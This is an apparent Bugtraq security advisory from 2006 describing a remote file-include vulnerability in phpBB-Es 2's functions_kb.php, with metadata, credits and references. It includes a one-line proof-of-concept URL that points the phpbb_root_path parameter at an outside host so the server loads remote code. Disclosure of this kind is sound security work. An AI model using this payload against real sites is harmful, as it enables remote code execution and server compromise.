PHPBB-ES Functions_KB.PHP Remote File Include Vulnerability

Bugtraq ID:	20251
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 28 2006 12:00AM
Updated:	Sep 28 2006 10:05PM
Credit:	Solpot is credited with the discovery of this vulnerability.
Vulnerable:	phpBB-Es phpBB-Es 2
Not Vulnerable:

PHPBB-ES Functions_KB.PHP Remote File Include Vulnerability

phpBB-Es is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

phpBB-Es version 2 is vulnerable; other versions may also be affected.

PHPBB-ES Functions_KB.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof of concept is available:

http://www.example.com/includes/functions_kb.php?phpbb_root_path=http://injek-pala-lappet?

PHPBB-ES Functions_KB.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

PHPBB-ES Functions_KB.PHP Remote File Include Vulnerability

References:

• Vendor Homepage (Elan Zuelo)
  
• SolpotCrew Advisory #14 - phpBB XS 2 spain version ([email protected] )